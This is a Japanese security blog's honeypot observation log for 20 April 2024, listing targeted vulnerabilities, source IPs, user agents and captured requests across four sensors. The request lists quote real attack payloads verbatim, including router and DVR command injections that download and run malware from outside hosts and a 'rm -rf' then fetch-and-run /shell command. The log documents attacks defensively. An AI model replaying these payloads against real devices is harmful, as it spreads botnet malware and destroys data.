コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2024/04/20 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2024/04/20分です。

特徴
共通

D-link製品の脆弱性を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
/.envへのスキャン行為
/.gitへのスキャン行為

Location:JP

curlによるスキャン行為
.jsへのスキャン行為

を確認しました。

Location:US

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TBK製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為

を確認しました。

Location:UK

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TBK製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
.jsへのスキャン行為

を確認しました。

Location:SG

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TBK製品の脆弱性を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  scamanje.stresserit.pro/jaws;
sh /tmp/jaws
他
アクセス数推移

JP：総アクセス数：77 (前日比：-13)
US：総アクセス数：97 (前日比：-3)
UK：総アクセス数：88 (前日比：-139)
SG：総アクセス数：256 (前日比：140)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 4.242.226.139 United States
1 13.40.44.23 United States
1 20.244.36.111 United States
1 35.153.166.94 United States
1 45.79.168.172 United States
1 64.62.197.64 United States
1 64.62.197.67 United States
13 64.227.177.21 United States
2 78.153.140.179 Russia
1 80.94.92.60 Romania
1 87.121.69.52 Bulgaria
1 91.92.245.67 Bulgaria
1 94.156.65.122 Bulgaria
10 101.32.192.203 Singapore
2 104.192.0.61 United States
1 106.75.133.175 China
1 106.75.175.181 China
1 106.75.177.107 China
5 108.60.209.234 United States
7 135.125.246.110 France
7 135.125.246.189 France
1 157.230.35.80 United States
2 165.154.206.223 Hong Kong
3 179.43.190.218 Panama
1 184.105.247.254 United States
1 185.252.221.186 Romania
2 185.254.196.173 Ukraine
1 185.254.196.186 Ukraine
1 195.20.234.175 Germany
2 198.235.24.236 United States
2 205.210.31.150 United States
1 212.70.149.134 Bulgaria

UserAgent一覧

件数 UserAgent
13 -
10 Go-http-client/1.1
5 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
10 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
1 Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34
20 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0
1 Python-urllib/3.10
1 curl/8.1.2
1 python-requests/2.26.0
1 python-requests/2.31.0

リクエスト内容一覧

件数 Method Request Protocol
10 \x16\x03\x01
1 tg\x84\x88)\x12\x9e\x14\x10\x04\xb0\x9d\xae`
1 CONNECT api[.]ipify[.]org:443 HTTP/1.1
1 CONNECT google[.]com:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
21 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /bundle.js HTTP/1.1
3 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
1 GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cm0JLXJmCWxvbAl8CXdnZXQJLU8tCWh0dHA6Ly85NC4xNTYuNzkuMTI5L2xvbHxzaA== HTTP/1.1
1 GET /cgi/conf.bin HTTP/1.1
1 GET /config/.env HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /info HTTP/1.1
1 GET /password.php HTTP/1.1
1 GET /phpinfo HTTP/1.1
1 GET /systembc/password.php HTTP/1.1
1 GET /upl.php HTTP/1.1
2 GET /v3/time HTTP/1.1
1 GET /webui/ HTTP/1.1
1 HEAD /.env HTTP/1.1
10 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 HEAD / HTTP/1.1
1 OPTIONS / RTSP/1.0
1 t3 12.1.2\n
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
6 5.181.190.250 Poland
1 8.137.106.178 Singapore
3 43.246.208.201 Hong Kong
2 45.33.80.243 United States
1 45.79.181.94 United States
2 45.79.181.251 United States
2 45.125.66.34 Hong Kong
8 54.36.115.221 France
3 57.129.23.166 France
1 64.62.197.204 United States
1 64.62.197.205 United States
1 64.62.197.210 United States
1 66.175.213.4 United States
2 71.6.134.234 United States
3 80.75.212.75 Ireland
3 80.94.92.60 Romania
2 83.97.73.245 Germany
1 84.54.51.42 Bulgaria
4 87.121.69.52 Bulgaria
3 91.92.250.127 Bulgaria
1 103.130.176.64 Pakistan
1 106.75.165.113 China
1 107.170.255.35 United States
1 123.160.175.94 China
1 139.59.101.104 Singapore
4 143.198.204.194 United States
2 157.230.45.135 United States
1 164.92.169.45 United States
2 167.71.197.10 United States
2 167.71.201.66 United States
4 167.71.202.190 United States
2 167.71.207.184 United States
2 172.104.11.46 United States
2 172.105.128.13 United States
3 176.58.119.77 United States
5 179.43.190.218 Panama
1 184.105.139.67 United States
1 185.161.248.148 United Kingdom
1 194.147.58.246 Germany
1 194.165.16.10 Panama
1 198.23.200.70 United States
1 198.46.178.134 United States
2 198.235.24.23 United States
2 198.235.24.119 United States
2 206.168.34.125 United States
1 212.70.149.134 Bulgaria

UserAgent一覧

件数 UserAgent
34 -
26 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
16 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
9 Mozilla/5.0

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_34.68.118.83_80\n
2 \x03
8 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x01 \x01
19 \x16\x03\x01
7 CONNECT google[.]com:443 HTTP/1.1
3 CONNECT www[.]google[.]com:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
12 GET /.env HTTP/1.1
5 GET /.git/config HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
10 GET /cdn-cgi/trace HTTP/1.1
5 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
6 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F5[.]181[.]190[.]250%2Fsh+%3B+chmod+777+sh%3B+.%2Fsh+tplink%3B+rm+-rf+shk) HTTP/1.1
1 GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cm0JLXJmCWxvbAl8CXdnZXQJLU8tCWh0dHA6Ly85NC4xNTYuNzkuMTI5L2xvbHxzaA== HTTP/1.1
1 GET /cgi/conf.bin HTTP/1.1
7 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /webui/ HTTP/1.1
1 HEAD /.env HTTP/1.1
2 POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3Bcd%20%2Fvar%2Ftmp%3Bwget%20http%3A%2F%2F94[.]156[.]79[.]129%2Farm7%3Bchmod%20777%20arm7%3B%20.%2Farm7%200daydvr%3B HTTP/1.1
1 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
5 5.181.190.250 Poland
1 45.33.80.243 United States
1 45.79.181.104 United States
1 45.83.31.151 Netherlands
2 45.125.66.34 Hong Kong
4 54.36.115.221 France
8 54.37.79.75 France
3 57.129.23.166 France
1 64.62.156.55 United States
1 64.62.156.108 United States
1 64.62.156.111 United States
1 64.62.156.116 United States
1 66.175.213.4 United States
1 66.240.192.82 United States
1 80.66.76.130 Russia
3 80.75.212.75 Ireland
3 80.94.92.60 Romania
2 83.97.73.245 Germany
3 87.121.69.52 Bulgaria
1 91.92.255.41 Bulgaria
1 91.191.209.206 Bulgaria
1 106.75.143.72 China
1 117.213.87.89 India
13 137.184.152.104 United States
1 139.59.101.104 Singapore
2 167.71.201.103 United States
2 167.94.138.36 United States
1 167.172.179.218 United States
1 172.104.11.46 United States
1 172.105.77.209 United States
1 172.105.128.11 United States
7 179.43.190.218 Panama
1 192.241.196.95 United States
1 198.44.128.58 United States
2 198.235.24.197 United States
2 199.45.154.69 United States
2 205.210.31.137 United States
1 212.70.149.134 Bulgaria
3 212.71.245.218 United States

UserAgent一覧

件数 UserAgent
25 -
22 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
17 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0
1 curl/8.1.2

リクエスト内容一覧

件数 Method Request Protocol
1 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
1 MGLNDD_132.145.66.34_80\n
2 \x03
1 \x16\x03\x01\x01\x07\x01
17 \x16\x03\x01
5 CONNECT google[.]com:443 HTTP/1.1
3 CONNECT www[.]google[.]com:443 HTTP/1.1
16 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /0bef HTTP/1.0
1 GET /1.php HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /bundle.js HTTP/1.1
2 GET /cdn-cgi/trace HTTP/1.1
7 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
5 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F5[.]181[.]190[.]250%2Fsh+%3B+chmod+777+sh%3B+.%2Fsh+tplink%3B+rm+-rf+shk) HTTP/1.1
1 GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cm0JLXJmCWxvbAl8CXdnZXQJLU8tCWh0dHA6Ly85NC4xNTYuNzkuMTI5L2xvbHxzaA== HTTP/1.1
1 GET /cgi/conf.bin HTTP/1.1
6 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /password.php HTTP/1.1
1 GET /systembc/password.php HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 HEAD /.env HTTP/1.1
2 POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3Bcd%20%2Fvar%2Ftmp%3Bwget%20http%3A%2F%2F94[.]156[.]79[.]129%2Farm7%3Bchmod%20777%20arm7%3B%20.%2Farm7%200daydvr%3B HTTP/1.1
2 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
7 5.181.190.250 Poland
1 20.42.63.187 United States
1 20.240.209.199 United States
1 45.33.80.243 United States
1 45.56.108.128 United States
1 45.79.181.179 United States
2 45.79.181.223 United States
2 45.125.66.34 Hong Kong
4 45.145.166.92 France
20 57.129.23.166 France
1 64.62.197.155 United States
1 66.240.192.82 United States
1 80.66.76.121 Russia
3 80.75.212.75 Ireland
3 80.94.92.60 Romania
2 83.97.73.245 Germany
2 87.121.69.52 Bulgaria
1 94.156.8.110 Bulgaria
2 101.37.26.130 China
2 106.75.174.148 China
1 106.75.175.181 China
1 106.75.177.81 China
1 122.224.248.37 China
13 137.184.152.104 United States
145 139.162.7.59 Netherlands
2 143.198.204.194 United States
13 170.64.162.201 United States
1 172.104.11.51 United States
1 172.104.242.173 United States
1 172.105.128.11 United States
7 179.43.190.218 Panama
3 184.105.247.252 United States
1 192.155.90.118 United States
1 198.44.128.58 United States
2 198.235.24.138 United States
2 205.210.31.41 United States
3 212.71.235.62 United States

UserAgent一覧

件数 UserAgent
29 -
25 Go-http-client/1.1
2 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
2 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.2.594 (beta) Yowser/2.5 Safari/537.36
20 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
1 Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1
3 Mozilla/5.0
143 curl/7.54.0
2 curl/8.1.2

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 \x03
1 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x02
22 \x16\x03\x01
1 \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 X\xd4>\x12\x98\xc4<\xe0\x13\xcf
4 CONNECT google[.]com:443 HTTP/1.1
3 CONNECT www[.]google[.]com:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
22 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
5 GET /.git/config HTTP/1.1
1 GET /.vscode/sftp.json HTTP/1.1
2 GET /1.php HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.aspx HTTP/1.1
1 GET /admin.cfm HTTP/1.1
1 GET /admin.cgi HTTP/1.1
1 GET /admin.html HTTP/1.1
1 GET /admin.jhtml HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.jsp HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin.pl HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /base.asp HTTP/1.1
1 GET /base.aspx HTTP/1.1
1 GET /base.cfm HTTP/1.1
1 GET /base.cgi HTTP/1.1
1 GET /base.html HTTP/1.1
1 GET /base.inc HTTP/1.1
1 GET /base.jhtml HTTP/1.1
1 GET /base.jsa HTTP/1.1
1 GET /base.jsp HTTP/1.1
1 GET /base.php HTTP/1.1
1 GET /base.pl HTTP/1.1
1 GET /base.shtml HTTP/1.1
2 GET /bundle.js HTTP/1.1
1 GET /cdn-cgi/trace HTTP/1.1
7 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103[.]163[.]214[.]97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1
7 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F5[.]181[.]190[.]250%2Fsh+%3B+chmod+777+sh%3B+.%2Fsh+tplink%3B+rm+-rf+shk) HTTP/1.1
1 GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cm0JLXJmCWxvbAl8CXdnZXQJLU8tCWh0dHA6Ly85NC4xNTYuNzkuMTI5L2xvbHxzaA== HTTP/1.1
1 GET /default.asp HTTP/1.1
1 GET /default.aspx HTTP/1.1
1 GET /default.cfm HTTP/1.1
1 GET /default.cgi HTTP/1.1
1 GET /default.html HTTP/1.1
1 GET /default.jhtml HTTP/1.1
1 GET /default.jsa HTTP/1.1
1 GET /default.jsp HTTP/1.1
1 GET /default.php HTTP/1.1
1 GET /default.pl HTTP/1.1
1 GET /default.shtml HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
1 GET /fILa HTTP/1.1
5 GET /favicon.ico HTTP/1.1
2 GET /files/ HTTP/1.1
2 GET /form.html HTTP/1.1
2 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /home.asp HTTP/1.1
1 GET /home.aspx HTTP/1.1
1 GET /home.cfm HTTP/1.1
1 GET /home.cgi HTTP/1.1
1 GET /home.html HTTP/1.1
1 GET /home.jhtml HTTP/1.1
1 GET /home.jsa HTTP/1.1
1 GET /home.jsp HTTP/1.1
1 GET /home.php HTTP/1.1
1 GET /home.pl HTTP/1.1
1 GET /home.shtml HTTP/1.1
1 GET /index.asp HTTP/1.1
1 GET /index.aspx HTTP/1.1
1 GET /index.cfm HTTP/1.1
1 GET /index.cgi HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /index.jhtml HTTP/1.1
1 GET /index.jsa HTTP/1.1
1 GET /index.jsp HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.pl HTTP/1.1
1 GET /index.shtml HTTP/1.1
1 GET /indice.asp HTTP/1.1
1 GET /indice.aspx HTTP/1.1
1 GET /indice.cfm HTTP/1.1
1 GET /indice.cgi HTTP/1.1
1 GET /indice.html HTTP/1.1
1 GET /indice.jhtml HTTP/1.1
1 GET /indice.jsa HTTP/1.1
1 GET /indice.jsp HTTP/1.1
1 GET /indice.php HTTP/1.1
1 GET /indice.pl HTTP/1.1
1 GET /indice.shtml HTTP/1.1
2 GET /info.php HTTP/1.1
1 GET /inicio.asp HTTP/1.1
1 GET /inicio.aspx HTTP/1.1
1 GET /inicio.cfm HTTP/1.1
1 GET /inicio.cgi HTTP/1.1
1 GET /inicio.html HTTP/1.1
1 GET /inicio.jhtml HTTP/1.1
1 GET /inicio.jsa HTTP/1.1
1 GET /inicio.jsp HTTP/1.1
1 GET /inicio.php HTTP/1.1
1 GET /inicio.pl HTTP/1.1
1 GET /inicio.shtml HTTP/1.1
1 GET /localstart.asp HTTP/1.1
1 GET /localstart.aspx HTTP/1.1
1 GET /localstart.cfm HTTP/1.1
1 GET /localstart.cgi HTTP/1.1
1 GET /localstart.html HTTP/1.1
1 GET /localstart.jhtml HTTP/1.1
1 GET /localstart.jsa HTTP/1.1
1 GET /localstart.jsp HTTP/1.1
1 GET /localstart.php HTTP/1.1
1 GET /localstart.pl HTTP/1.1
1 GET /localstart.shtml HTTP/1.1
1 GET /main.asp HTTP/1.1
1 GET /main.aspx HTTP/1.1
1 GET /main.cfm HTTP/1.1
1 GET /main.cgi HTTP/1.1
1 GET /main.html HTTP/1.1
1 GET /main.jhtml HTTP/1.1
1 GET /main.jsa HTTP/1.1
1 GET /main.jsp HTTP/1.1
1 GET /main.php HTTP/1.1
1 GET /main.pl HTTP/1.1
1 GET /main.shtml HTTP/1.1
1 GET /menu.asp HTTP/1.1
1 GET /menu.aspx HTTP/1.1
1 GET /menu.cfm HTTP/1.1
1 GET /menu.cgi HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.jhtml HTTP/1.1
1 GET /menu.jsa HTTP/1.1
1 GET /menu.jsp HTTP/1.1
1 GET /menu.php HTTP/1.1
1 GET /menu.pl HTTP/1.1
1 GET /menu.shtml HTTP/1.1
1 GET /nmaplowercheck1713513158 HTTP/1.1
2 GET /password.php HTTP/1.1
1 GET /phpmyadmin/ HTTP/1.1
1 GET /phpmyadmin HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /readme.txt HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws
1 GET /start.asp HTTP/1.1
1 GET /start.aspx HTTP/1.1
1 GET /start.cfm HTTP/1.1
1 GET /start.cgi HTTP/1.1
1 GET /start.html HTTP/1.1
1 GET /start.jhtml HTTP/1.1
1 GET /start.jsa HTTP/1.1
1 GET /start.jsp HTTP/1.1
1 GET /start.php HTTP/1.1
1 GET /start.pl HTTP/1.1
1 GET /start.shtml HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
2 GET /systembc/password.php HTTP/1.1
2 GET /upl.php HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET default.asp HTTP/1.1
1 HEAD /.env HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /phpmyadmin/index.php HTTP/1.1
2 POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3Bcd%20%2Fvar%2Ftmp%3Bwget%20http%3A%2F%2F94[.]156[.]79[.]129%2Farm7%3Bchmod%20777%20arm7%3B%20.%2Farm7%200daydvr%3B HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1